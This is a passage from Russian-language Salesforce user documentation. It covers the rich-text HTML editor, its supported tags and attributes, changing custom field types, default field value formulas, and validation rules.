доступные в зависимыхраскрывающихся списках, являются результатомпересечения значений, выбранныхдля типа
записи и управляющего поля.
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Использование HTML-редактора

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых полей:
• «Настройка

приложения»

Доступно в версиях: Enterprise Edition, Performance Edition, Unlimited Edition и
Developer Edition.

Чтобы изменить внешний вид текста настраиваемых полей, воспользуйтесь
HTML-редактором Salesforce, поддерживающимформатированиенастраиваемыхполей,
определенных как поля с областью обогащенного текста. HTML-редактор Salesforce
поддерживает интерфейс WYSIWYG, которыйпозволяет выполнять основные операции
форматирования. Ниже перечислены доступные действия.

• Форматирование текста полужирным, курсивным или подчеркнутымшрифтом

• Создание маркированных и нумерованных списков

• Изменение отступов в абзацах

• Вставка гиперссылок на веб-страницы

• Вставка изображения

Прим.: Обновленныйредакторне поддерживается обозревателем Internet Explorer 7 или 8 в режиме совместимости.
При использовании данных обозревателей отображается устаревший редактор.

Некоторые функции (например, Salesforce Knowledge или сообщество «Идеи») позволяют администраторам включать
дополнительные функции (например, возможность внедрения мультимедийного содержимого, использование
раскрывающихся списков или выбор цвета текста и фона). Убедитесь, что параметры безопасности обозревателя
предоставляютдоступкданнымфункциям. Например, еслиобозревателю Microsoft® Internet Explorer® 7 заданмаксимальный
уровень безопасности, то содержимое <iframe> не отображается во фрейме, раскрывающиеся списки недоступны, а
цвет текста и фона не может быть изменен.

Ниже перечислены общие сценарии использования HTML-редактора.

• Вставка примера кода в сообщение сообщества Chatter Answers или «Идеи»

• Добавление видеоролика в статью базы знаний или сообщение пространства идей

• Форматирование резюме, отправленных соискателями, для создания профессиональных и удобочитаемых версий

• Выделение ключевых моментов в описаниях или комментариях путем изменения параметров шрифта (например,
тип и размер шрифта)

• Создание нумерованных или маркированных списков, определяющих порядок выполнения действий

• Поддержка фирменной символики компании путем добавления URL-адреса логотипа на веб-сайт

• Добавление ссылки на связанную и доступную страницу корпоративного веб-сайта

Примечания к использованию HTML-редактора Salesforce

Ниже перечислены рекомендации по использованию редактора.

• HTML-редактор Salesforce поддерживает только интерфейс WYSIWYG, поэтому не позволяет редактировать HTML-теги.

• При копировании и вставке содержимого веб-страницы в окно редактора система Salesforce автоматически удаляет
неподдерживаемые теги, номожет сохранить содержимое неподдерживаемых тегов в виде обычного текста. Система
Salesforce не уведомляет пользователей об удалении неподдерживаемого или потенциально опасного HTML-кода.

• Максимальное количество символов, доступное для добавления в окно HTML-редактора Salesforce, равняется длине
поля, заданной при его создании или редактировании. Значение по умолчанию: 32 768 символов.
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• Выбранныегиперссылкиоткрываютсявновомокнеобозревателя. HTML-редакторSalesforceподдерживает гиперссылки
HTTP, HTTPS и mailto.

• Присохранениизаписи HTML-редактор Salesforceнепроверяет гиперссылкина веб-страницы. Убедитесь, что системе
Salesforce доступен введенный URL-адрес.

• Чтобы вставить изображение, щелкните значок и откройте вкладку:

– «Веб-адрес», а затем введите URL-адрес нужного изображения.

– «Загрузить изображение», а затем выберите нужное изображение на локальном компьютере. Разрешается
загружатьтолькофайлы JPEG, PNG или GIF. Размервыбранногоизображениянеможетпревышать 1 Мб. Гиперссылка
на изображение не может быть добавлена.

При необходимости введите описание, отображающееся при наведении указателя мышина изображение. URL-адрес
изображения должен быть доступен системе Salesforce.

• HTML-редактор Salesforce поддерживает все языки, доступные в приложении Salesforce Knowledge.

• HTML-редактор Salesforce не поддерживает JavaScript и каскадные таблицы стилей (CSS).

• При использовании режима доступности HTML-редактор Salesforce отключен, но заменяется текстовым полем.

Поддерживаемые HTML-теги и атрибуты

Ниже перечислены теги, поддерживаемые HTML-редактором Salesforce.

<q><dt><a>

<samp><em><abbr>

<small><font><acronym>

<span><h1><address>

<strike><h2><b>

<strong><h3><bdo>

<sub><h4><big>

<sup><h5><blockquote>

<table><h6><br>

<tbody><hr><caption>

<td><i><cite>

<tfoot><img><code>

<th><ins><col>

<thead><kbd><colgroup>

<tr><li><dd>

<tt><ol><del>

<ul><p><dfn>

<var><pre><div>
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<dl>

Ниже перечислены атрибуты, поддерживаемые тегами.

sizefacealt

srcheightbackground

stylehrefborder

targetnameclass

widthrowspancolspan

Ниже перечислены префиксы, которые могут использоваться в URL-адресах атрибутов.

• http:

• https:

• file:

• ftp:

• mailto:

• #

• /  (для относительных ссылок)

СМ. ТАКЖЕ:

Советы по использованию поля типа «Область обогащенного текста»

Добавление видеороликов посредством HTML-редактора

Добавление видеороликов посредством HTML-редактора

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых полей:
• «Настройка

приложения»

Доступно в Salesforce Classic.

Доступно в версиях: Enterprise Edition, Performance Edition, Unlimited Edition и
Developer Edition.

Прежде чем добавить видеоролики в HTML-редактор для статьи базы знаний, убедитесь,
что параметры безопасности обозревателя разрешают внедрять мультимедийное
содержимое. Некоторые параметры безопасности могут блокировать элементы
<iframe>. Например, если обозревателю Internet Explorer 7 задан максимальный уровень безопасности, то содержимое
<iframe> не отображается во фрейме.

Нижеперечисленыспособывставки HTML-элементов <iframe> вредактор, доступныеврезультате включенияфункции
внедрения мультимедийного содержимого при настройке приложения.

1. Скопируйте элемент <iframe> с проверенного сайта.

Проверенные сайты: DailyMotion, Vimeo и YouTube.
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2. Чтобы вставить код в HTML-редактор, нажмите одну из кнопок ниже.

ОписаниеПараметр

Данная кнопка позволяет вставить элемент <iframe>
в текстовое поле диалогового окна «Вставить
мультимедийное содержимое». Фрейми его содержимое
добавляются в окно редактора.

Данная кнопка позволяет вставить элемент <iframe>
прямо в HTML-код.

3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Использование HTML-редактора

Добавление примеров кода в сообщения

Сообщения, публикуемые в сообществах Chatter Answers и «Идеи», могут быть дополнены примерами кода.

Организации, поддерживающие сообщества Chatter Answers и «Идеи», позволяют пользователям добавлять примеры
кода в сообщения. Код может быть скопирован из любого текстового редактора и вставлен в текст сообщения без
изменения форматирования.

1. Скопируйте пример кода из текстового редактора в буфер обмена.

2.
Введите текст сообщения в редакторе и нажмите значок для добавления примера кода.

3. Вставьте пример кода в текстовое поле «Добавить пример кода» и нажмите кнопку «OK».

Пример кода отображается в тексте сообщения без изменения форматирования.
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Изменение типа настраиваемого поля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Стандартные объекты
недоступны в версии
Database.com Edition.

Внешние объекты Lightning
Connect доступны в версиях:
Developer Edition.
Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения
настраиваемых полей:
• «Настройка

приложения»

Прим.: Дляполей, зашифрованныхспомощьюфункциишифрованияплатформы,
тип поля не может быть изменен.

1. В разделе настроек управления для объекта перейдите в раздел «Поля».

Прим.: Чтобыизменить типполя в статьях Salesforce Knowledge введите «Типы
статей баз знаний» в поле «Быстрый поиск», выберите пункт «Типы статей
баз знаний» и выберите нужный тип статьи.

2. Щелкните ссылку «Правка» напротив нужного поля.

3. Щелкните «Изменить тип поля».

4. Выберите нужный тип поля и нажмите кнопку «Далее».

5. Введите метку поля, имя и другие атрибуты и сохраните изменения.

СМ. ТАКЖЕ:

Примечания по изменению типов настраиваемых полей

Типы настраиваемых полей

Какие поля можношифровать?

Поиск по параметрам управления объектами

Примечания по изменению типов настраиваемых полей

Перед преобразованием полей ознакомьтесь с указанными ниже рекомендациями.

• Преобразованию подлежат только настраиваемые поля без данных, иначе можно
потерять данные: изменение типа данных существующего настраиваемого поля
может привести к потере данных в следующих случаях:

– изменения типа «Дата» или «Дата/время» либо его установка;

– изменение любого типа на «Число»;

– изменение любого типа на «Проценты»;

– изменение любого типа на «Валюта»;

– изменение типа «Флажок» на любой другой тип;

– изменение типа «Раскрывающийся список (с множественным выбором)» на любой другой тип;

– изменение любого типа на «Раскрывающийся список (с множественным выбором)»;

(Заданныевнастоящиймомент значенияраскрывающегосясписка сохраняютсяприизменениираскрывающегося
списканараскрывающийсясписоксмножественнымвыбором. Еслизаписисодержат значения, которыеневходят
в определение раскрывающегося списка, то эти значения будут удалены из записей при изменении типа данных.)

– изменение типа «Автоматическая нумерация» на любой другой тип;

– изменение любого типа (кроме «Текст») на тип «Автоматическая нумерация» ;

– изменение типа «Текст» на «Раскрывающийся список»;

– изменение типа «Область подробного текста» на любой тип, кроме «Эл. почта», «Телефон», «Текст», «Область
текста» или «URL-адрес».
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• Вслучаепотериданных все представления спискана основенастраиваемогополя будут удаленыиизмененыправила
расширения и назначения.

• Изменениетипаданныхдлялюбогонастраиваемогополя, используемогоприпреобразованииинтересов, инициирует
удаление соотнесения полей интересов.

• Приизменениитипаданныхнастраиваемогополя, заданноговкачестве внешнегокода, выбортипаданных, отличного
от «Текст», «Число» или «Эл. почта», приведет к тому, что это поле больше не будет действовать в качестве внешнего
кода.

• Параметр изменения типа данных настраиваемого поля недоступен для всех типов данных. Например, текущие
настраиваемые поля не могут быть преобразованы в зашифрованные, а зашифрованные поля не могут быть
преобразованы в другой тип данных.

• В типах статей Salesforce Knowledge тип поля файла нельзя преобразовать в другие типы данных.

• Невозможно изменить тип данных настраиваемого поля, на которое ссылается страница Visualforce.

• Изменениетипанастраиваемогополяможетинициироватьодновременноеизменениебольшогоколичества записей.
Для эффективной обработки этих изменений запрос пользователя может быть поставлен в очередь, а после его
выполнения будет отправлено электронное уведомление.

• Прежде чем изменить тип настраиваемого поля, убедитесь, что данное поле не является целевым для обновления
полей бизнес-правила, а также не используется формулой обновления поля, которая аннулируется новым типом
настраиваемого поля.

Следующие типы данных имеют дополнительные ограничения при их преобразовании.

ОписаниеТип данных

Данныевлюбомполеавтоматическойнумерацииостаются
неизменными при его преобразовании в текстовое поле.

Автонумерация

Также можно благополучно преобразовывать
настраиваемое текстовое поле в поле автоматической
нумерации без потери данных. Преобразование поля
автоматической нумерации в любой другой тип данных
приведеткпотереданных. Поляавтоматическойнумерации
могут содержать максимум 30 символов. Перед
преобразованием настраиваемого текстового поля в поле
автоматической нумерации измените все записи,
содержащие более 30 символов в этом поле.

Поляформулпредставляютсобойособыеполя толькодля
чтения, которыенельзяпреобразовать влюбойдругойтип

Формула

данных. Аналогичным образом нельзя преобразовать
любой другой тип поля в поле формулы.

Настраиваемые раскрывающиеся списки легко изменить
на настраиваемыефлажки. При выборефлажка в качестве

Раскрывающийся список

нового типа данных можно указать, какие значения
раскрывающегося списка соответствуют полям с
установленными и неустановленнымифлажками.
Настраиваемые раскрывающиеся спискиможноизменить
нараскрывающиесяспискисмножественнымвыборомбез
потери данных. Поскольку записи содержат только одно
значение из этого раскрывающегося списка, это значение
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ОписаниеТип данных

останется выбранным, но пользователи смогут внести
дополнительные значения.

Взаимосвязи • Преобразовывать поля взаимосвязей на поля без
взаимосвязей и обратно можно только для внешних
объектов.

• Еслиорганизацияимеет большое количество записей,
система Salesforce отобразит страницу ожидания после
поступления запроса на изменение взаимосвязи
«Основная — подробная» на взаимосвязь «Поиск» или
обратно.

• Взаимосвязьобъекта «Основная — подробная» неможет
быть преобразована во взаимосвязь «Поиск» после
создания поля сводного резюмирования для объекта.

• Взаимосвязь «Поиск» нельзя преобразовать во
взаимосвязь «Основная — подробная», если в объекте
имеются какие-либо записи с нулевым значением для
взаимосвязи «Поиск».

• При преобразовании взаимосвязи
«Основная — подробная» во взаимосвязь «Поиск» для
настраиваемого подробного объекта единый
стандартныйпараметрдля этогообъекта автоматически
обновляетсядозначения «Общедоступный: длячтения
и записи». Аналогичным образом преобразование
взаимосвязи «Поиск» во взаимосвязь
«Основная — подробная» устанавливает значение
«Контролируетсяродительскимобъектом» для единого
стандартного параметра.

При преобразовании поля «Область подробного текста»
в поле типа «Эл. почта», «Телефон», «Текст», «Область

Область подробного текста

текста» или «URL-адрес» данные в записях будут усечены до
первых 255 символов поля.

Поля типа «Область обогащенного текста» могут быть
преобразованы только в поля типа «Область подробного

Область обогащенного текста

текста». Все изображения удаляются при следующем
сохранении поля типа «Область подробного текста».
Преобразованноеполе типа «Областьподробного текста»
использует скрытуюразметку, которая удаляется из записи
толькопосле ее сохранения. Принеобходимостиразметка
может быть восстановлена.
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Прим.: Если код Apex ссылается на настраиваемое поле, то тип данных настраиваемого поля изменить нельзя.

СМ. ТАКЖЕ:

Изменение типа настраиваемого поля

Определение стандартных значений полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра стандартных
значений полей:
• «Просмотр настройки и

конфигурации»

Для определения или
изменения стандартных
значений полей:
• «Настройка

приложения»

Чтобы определить стандартное значение поля, выполните указанные ниже действия.

1. Создайте настраиваемое поле (см. раздел «Создание настраиваемых полей» на
странице 4495). Принеобходимостиопределите стандартное значениедля текущего
настраиваемогополя (см. раздел «Редактированиенастраиваемыхполей»настранице
4515).

2. Выберите нужный тип поля и нажмите кнопку «Далее». Список доступных типов
см. в разделе «Общие сведения о стандартных значениях полей» на странице 4542.

3. Введите нужные атрибуты поля.

4. Введитестандартноезначениеилиопределитеформулу, вычисляющуюстандартное
значение.

Прим.: Стандартные значения формулы могут быть определены только при
наличии такой возможности. Например, стандартные значения
раскрывающегося списка ифлажкиограничиваются вариантами, доступными
для данных типов полей (например, «Флажок установлен», «Флажок снят»
или «Применить первое значение как значение по умолчанию»).

5. Нажмите кнопку «Далее».

6. Чтобы определить уровень доступности поля для конкретных профилей, задайте
параметры безопасности поля и нажмите кнопку «Далее».

7. Выберите макеты страниц, которые должны отображать данное поле. Поле
добавляется в конец первого двухстолбцового раздела макета страницы.
Настраиваемое поле пользователя автоматически добавляется в конец страницы
сведений о пользователе.

8. По завершении нажмите кнопку «Сохранить». Чтобы создать дополнительные
настраиваемые поля, нажмите кнопку «Сохранить и создать».

СМ. ТАКЖЕ:

Общие сведения о стандартных значениях полей

Рекомендации по стандартным значениям полей

Полезные формулы стандартных значений полей
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Общие сведения о стандартных значениях полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рекомендуем использовать стандартные значения полей для повышения
производительности пользователей путем сокращения количества полей, требующих
заполнения вручную. Стандартные значения полей автоматически заполняют
настраиваемые поля созданной записи. Стандартное значение может опираться на
формулы для некоторых типов полей или точные значения (например, «Флажок
установлен» или «Флажок снят» для полей типа «Кнопка-флажок»).

Ниже перечислены действия, доступные после определения стандартных значений.

1. Пользователь создает запись.

2. Поле заполняется стандартным значением.

3. Система Salesforce отображает страницу редактирования, поле которой заполнено
стандартным значением.

4. Пользователь заполняет поля новой записи.

5. Пользователь сохраняет новую запись.

Пользователь может изменить значение поля, но исходное стандартное значение поля подставляется только один раз
при создании записи. Например, чтобы определить время повторной связи с интересом, задайте настраиваемому полю
интереса стандартное значение, равное 7 дням после даты создания. При необходимости данное значение может быть
изменено, однако значение, равное 7 дням после даты создания, не может быть автоматически восстановлено.

Настройте стандартные значения для следующих типов настраиваемых полей:

• Кнопка-флажок

• Валюта

• Дата

• Дата/время

• Эл. почта

• Число

• Процент

• Тел.

• Раскрывающийсясписок (рекомендуемиспользоватьстандартныйпараметрпринастройкераскрывающегосясписка)

• Текст

• Область текста

• URL-адрес

СМ. ТАКЖЕ:

Определение стандартных значений полей

Рекомендации по стандартным значениям полей
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Полезные формулы стандартных значений полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра стандартных
значений полей:
• «Просмотр настройки и

конфигурации»

Для определения или
изменения стандартных
значений полей:
• «Настройка

приложения»

Максимальный размер скидки

Организацияможетприменятьразныеразмерыскидкиквозможностямнаотновеотдела,
связанногосавторомвозможности. Примернижепозволяет задатьстандартноезначение
для настраиваемого поля возможности «Размер скидки».

CASE(User.Department, "IT", 0.25, "Field", 0.15, 0)

Данный пример использует формулу, которая устанавливает скидку размером 25% для любой возможности, созданной
пользователем отдела IT, или скидку размером 15% для любой возможности, созданной пользователем отдела Field. Если
автор возможности относится к другому отделу, то применяется нулевая скидка. Данное поле является настраиваемым
процентным полем возможностей, которое использует стандартное поле пользователя Department.

Язык продукта

Продукт может быть связан с языком, чтобы пользователи могли определять тип документации или адаптера, который
должен быть добавлен в продукт. Рекомендуем использовать следующуюформулу стандартного значения для
автоматической настройки языка продукта на основе страны проживания его автора. Данный пример использует
стандартное значение Japanese для страны Japan и значение English для страны US. В противном случае поле Product
Language содержит стандартное значение unknown.

CASE($User.Country , "Japan", "Japanese", "US", "English","unknown")
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Размер налога

Рекомендуем использовать даннуюформулу стандартного значения для настройки размера налога по активу на основе
города пользователя. Создайте настраиваемое поле процентов со следующим стандартным значением:

IF($User.City = "Napa", 0.0750,
IF($User.City = "Paso Robles", 0.0725,
IF($User.City = "Sutter Creek", 0.0725,
IF($User.City = "Los Olivos", 0.0750,
IF($User.City = "Livermore", 0.0875, null
)
)
)
)
)

В данном примере налог размером 8,75% применяется к активу, если пользователь проживает в городе Livermore. Если
перечисленные города не относятся к пользователю, то поле «Размер налога» отображается пустым. Кроме того, поле
«Размер налога» может использоваться в формулах для автоматического вычисления сумм, облагаемых налогом, и
окончательных продажных цен.

СМ. ТАКЖЕ:

Определение стандартных значений полей

Рекомендации по стандартным значениям полей

Рекомендации по стандартным значениям полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Стандартные значенияполейавтоматическизаполняютнастраиваемыеполя созданной
записи. Стандартное значениеможетопиратьсянаформулыдлянекоторыхтиповполей
или точные значения (например, «Флажок установлен» или «Флажок снят» для
флажков).Преждечемдобавитьстандартныезначенияполей, просмотритерекомендации
ниже.

• Еслистандартное значениеопираетсяна значениеполяслияния, то система Salesforce
использует значение поля слияния на момент выполнения стандартного значения.
При последующем изменении значения поля слияния стандартное значение не
обновляется.

• Стандартное значение поля записи может быть изменено или удалено.

• Не рекомендуем назначать стандартные значения полям, которые одновременно
являютсяобязательнымииуникальными, ввиду возможноговозникновенияошибок
уникальности.

• Настраиваемое поле действия, которому назначается статус универсального обязательного, должно содержать
стандартное значение.

• Стандартное значение не может быть задано для уникального настраиваемого поля действия.

• Стандартные значения полей отличаются от полей формулы: стандартные значения выполняются только один раз
при создании записи; стандартные значения доступны не только для чтения; стандартные значения доступны для
изменения, но недоступны для восстановления.

• Стандартное значение добавляется автоматически перед заполнением любых других полей новой записи, поэтому
поля текущейзаписинемогутиспользоватьсядля создания стандартного значения. Например, стандартное значение
поля не может быть создано для контакта, использующего имя ифамилию, так как данные значения недоступныпри
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нажатиикнопки «Создать»для создания записиконтакта. Принеобходимостивоспользуйтесьтипомзаписи, который
выбирается перед отображением страницы редактирования записи.

• Чтобы применить разные стандартные значения к разным типам записей, рекомендуем использовать тип записи в
качестве поля слияния для функции CASE при настройке стандартного значения поля.

• Поля, недоступныепользователюсогласнопараметрамбезопасностиполя, отображаютсявформулахдлястандартных
значений полей.

• Connect Offlineи Salesforce for Outlookнеотображаютзначенийпоумолчанию. Еслизначениене введенопользователем,
то система Salesforce вставляет стандартное значение во время синхронизации.

• Стандартные значения полей недоступны на портале самообслуживания.

• Функции преобразования интересов, Web-to-Lead и Web-to-Case не используют стандартные значения полей.

Прим.: Стандартныезначенияформулымогутбытьопределенытолькоприналичиитакойвозможности. Например,
стандартные значения раскрывающегося списка и флажки ограничиваются вариантами, доступными для данных
типов полей (например, «Флажок установлен», «Флажок снят» или «Применить первое значение как значение
по умолчанию»).

СМ. ТАКЖЕ:

Определение стандартных значений полей

Полезные формулы стандартных значений полей

Правила проверки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Правилапроверкипозволяютповыситькачестводанных. Правилапроверкипроверяют
данные, введенные пользователем, на соответствие заданным стандартам перед
сохранением записи. Правило проверки может содержать формулу или выражение,
которое оценивает данные как минимум одного поля и возвращает значение «Истина»
или «Ложь». Кроме того, правило проверки может содержать сообщение об ошибке,
отображаемое пользователям в том случае, если недопустимое значение возвращает
значение «Истина».

Ниже перечислены действия, доступные после определения правил проверки.

1. Пользователь создает запись или редактирует текущую запись.

2. Пользователь нажимает кнопку «Сохранить».

3. Система выполняет все правила проверки.

• Если все данные верны, то запись сохраняется.

• При наличии неверных данных отображается связанное сообщение об ошибке,
а запись не сохраняется.

4. Пользователь выполняет нужные изменения и снова нажимает кнопку «Сохранить».

При необходимости введите сообщение об ошибке, которое должно отображаться при неудачной проверке записи, а
также определите область его отображения. Например, сообщение об ошибке может содержать следующую строку:
«Дата закрытия должна следовать за текущей датой». Выберите область отображения сообщения: напротив поля или
вверху страницы. Подобно всем другим сообщениям об ошибках, ошибки правил проверки отображаются красным
текстом и начинаются со слова «Ошибка».
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Важное замечание: Правила проверки применяются ко всем новым и обновленным записям объекта, даже в том
случае, еслимакет страницыиливызовAPIне содержитполей, используемыхвправилепроверки. Правилапроверки
не применяются при создании записей объекта посредством области «Быстрое создание». Если организация
использует разные макеты страниц для объекта, поддерживающего правило проверки, убедитесь, что правило
проверкиработает корректновкаждоммакете. Еслиорганизацияиспользуетинтеграции, поддерживающиеданный
объект, убедитесь, что правило проверки работает корректно в каждой интеграции.

СМ. ТАКЖЕ:

Определить правила оценки

Поля правил проверки

Примеры правил проверки

Управление правилами проверки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Правила проверки проверяют данные, введенные пользователем, на соответствие
заданным стандартам перед сохранением записи. Правило проверки может содержать
формулу или выражение, которое оценивает данные как минимум одного поля и
возвращает значение «Истина» или «Ложь». Кроме того, правило проверки может
содержать сообщение об ошибке, отображаемое пользователям в том случае, если
недопустимое значение возвращает значение «Истина».

Ниже перечислены действия, доступные на странице правил проверки.

• Определите правило проверки.

• Чтобыобновитьполяправила, щелкнитессылку«Правка»напротивименинужного
правила.

• Удалите правило проверки.

• Чтобы просмотреть сведения или клонировать правило, щелкните имя нужного
правила проверки.

• Активируйте правило проверки.

СМ. ТАКЖЕ:

Правила проверки

Примеры правил проверки
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Определить правила оценки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра правил
проверки полей:
• «Просмотр настройки и

конфигурации»

Для определения или
изменения правил проверки
полей:
• «Настройка

приложения»

Правила проверки проверяют данные, введенные пользователем, на соответствие
заданным стандартам перед сохранением записи. Правило проверки может содержать
формулу или выражение, которое оценивает данные как минимум одного поля и
возвращает значение «Истина» или «Ложь». Кроме того, правило проверки может
содержать сообщение об ошибке, отображаемое пользователям в том случае, если
недопустимое значение возвращает значение «Истина».

Преждечемсоздатьправилопроверки, просмотритераздел «Рекомендациипоправилам
проверки».

1. Из параметров управления для соответствующего объекта перейдите в «Правила
проверки».

2. Нажмите кнопку «Создать» в связанном списке «Правила проверки».

3. Введите свойства правила проверки.

4. Чтобы проверить формулу на наличие ошибок, нажмите кнопку «Проверка
синтаксиса».

5. Чтобы сохранить внесенные изменения, нажмите кнопку «Сохранить». Чтобы
создатьдополнительныеправилапроверки, нажмитекнопку«Сохранитьисоздать».

Прим.: Страница сведенийонастраиваемомполедействияне содержитсвязанные
правила проверки. Чтобы изменить правило проверки для настраиваемого поля
действия, выберите правило оценки в меню «Настройка». Для этого введите
«Действия» вполе «Быстрый поиск», затемвыберите«Действия», далее«Правила
проверки задач» или «Правила проверки событий».

СМ. ТАКЖЕ:

Правила проверки

Клонирование правил проверки

Советы по созданию правил проверки

Примеры правил проверки
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Клонирование правил проверки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра правил
проверки полей:
• «Просмотр настройки и

конфигурации»

Для определения или
изменения правил проверки
полей:
• «Настройка

приложения»

1. Из параметров управления для соответствующего объекта перейдите в «Правила
проверки».

2. Щелкните имя нужного правила проверки в связанном списке «Правила проверки».

3. Нажмите кнопку «Клонировать».

4. Определите новое правило на основе исходного.

5. Чтобы сохранить внесенные изменения, нажмите кнопку «Сохранить». Чтобы
создатьдополнительныеправилапроверки, нажмитекнопку«Сохранитьисоздать».

Прим.: Страница сведенийонастраиваемомполедействияне содержитсвязанные
правила проверки. Чтобы изменить правило проверки для настраиваемого поля
действия, выберите правило оценки в меню «Настройка». Для этого введите
«Действия» вполе «Быстрый поиск», затемвыберите«Действия», далее«Правила
проверки задач» или «Правила проверки событий».

СМ. ТАКЖЕ:

Определить правила оценки

Поля правил проверки

Активация правил проверки
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Активация правил проверки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра правил
проверки полей:
• «Просмотр настройки и

конфигурации»

Для определения или
изменения правил проверки
полей:
• «Настройка

приложения»

1. Из параметров управления для соответствующего объекта перейдите в «Правила
проверки».

2. Щелкните ссылку «Правка» напротив нужного правила.

3. Чтобы активировать правило, выберите «Активировать» и сохраните изменения.

4. Чтобыдеактивироватьправило, выберите«Деактивировать»исохранитеизменения.

Прим.: Страница сведенийонастраиваемомполедействияне содержитсвязанные
правила проверки.

СМ. ТАКЖЕ:

Определить правила оценки

Поля правил проверки

Поиск по параметрам управления объектами

Поля правил проверки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ОписаниеПоле

Уникальный идентификатор длиною не более 40
символов, который не содержит пробелы и специальные
символы (например, символы национального алфавита).

Имя правила

Флажок, определяющий активность правила.Активно

Описание длиною не более 255 символов, позволяющее
отличить одно правило проверки от другого. Только для
внутреннего пользования.

Описание

Выражение, используемоедляпроверкиполя.См. разделы
«Созданиеформул»и «Операторыифункцииформулы».

Формула ошибочного
условия

Сообщение, отображаемое пользователюпринеудачной
проверке поля.

Если организация использует средство перевода, то
сообщение об ошибке может быть переведено на языки,

Сообщение об ошибке
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ОписаниеПоле

поддерживаемые системой Salesforce. См. раздел Включение и отключение
Средства перевода.

Данное поле определяет область отображения ошибки на странице. Чтобы
показать ошибку напротив поля, выберите значение «Поле», а затем выберите

Расположение ошибки

нужноеполе. Привыборезначения «Поле» правилопроверкитакжеотображается
на странице сведений о поле. Если выбранное поле удаляется, доступно только
для чтения или не отображается в макете страницы, то система Salesforce
автоматически выбирает значение «Вверху страницы».

Прим.: При использовании правил проверки для контрольных точек
обращения и сообщества «Идеи» сообщения об ошибках могут
отображаться только вверху страницы.

СМ. ТАКЖЕ:

Определить правила оценки

Советы по созданию правил проверки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

• Рекомендуем учитывать все параметры организации, которые могут инициировать
ошибочную проверку записи, включая правила назначения, обновления полей,
параметры безопасности поля или поля, скрытые в макете страницы.

• Рекомендуемизбегать созданияпротиворечащихправилпроверкидляодногополя;
в противном случае, запись будет недоступна для сохранения.

Совет: Некорректное правило проверки может препятствовать сохранению
допустимых данных. Прежде чем активировать правило проверки, выполните
его всестороннее тестирование. Чтобы отслеживать сведения о внедрении
правила, рекомендуем использовать журнал отладки.

• Придобавленииссылкинасвязанныеполяформулыпроверкиубедитесь, чтоданные
объекты уже развернуты.

• Чтобыприменить разные правила проверки к разным типам записей, добавьте поле
слияния RecordType.Id в формулу.

• Формулаправилапроверкинеможетначинатьсяфункцией IF. Воспользуйтесьлюбым
логическим выражением ошибочного условия. Например:

– Правильно: CloseDate < TODAY()

– Неправильно: IF(CloseDate < TODAY(), TRUE, FALSE)

• Помните, чтоправилопроверки, содержащеефункциюBEGINSилиCONTAINS, обрабатываетпустыеполякакдопустимые.
Например, при использованииправила проверки, тестирующего серийные номера активов на наличие значения «3»
в начале номера, все активы с пустыми серийными номерами считаются действительными.

• Прииспользованииправилапроверки, гарантирующегоналичиеконкретногозначениявчисловомполе, рекомендуем
использовать функцию ISBLANK для добавления пустых полей. Например, чтобы проверить наличие значения «1» в
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настраиваемомполе, воспользуйтесьправиломпроверкиниже, позволяющимотображатьошибкидляпустыхполей
или полей, содержащих иные значения.

OR (ISBLANK (field__c), field__c<>1)

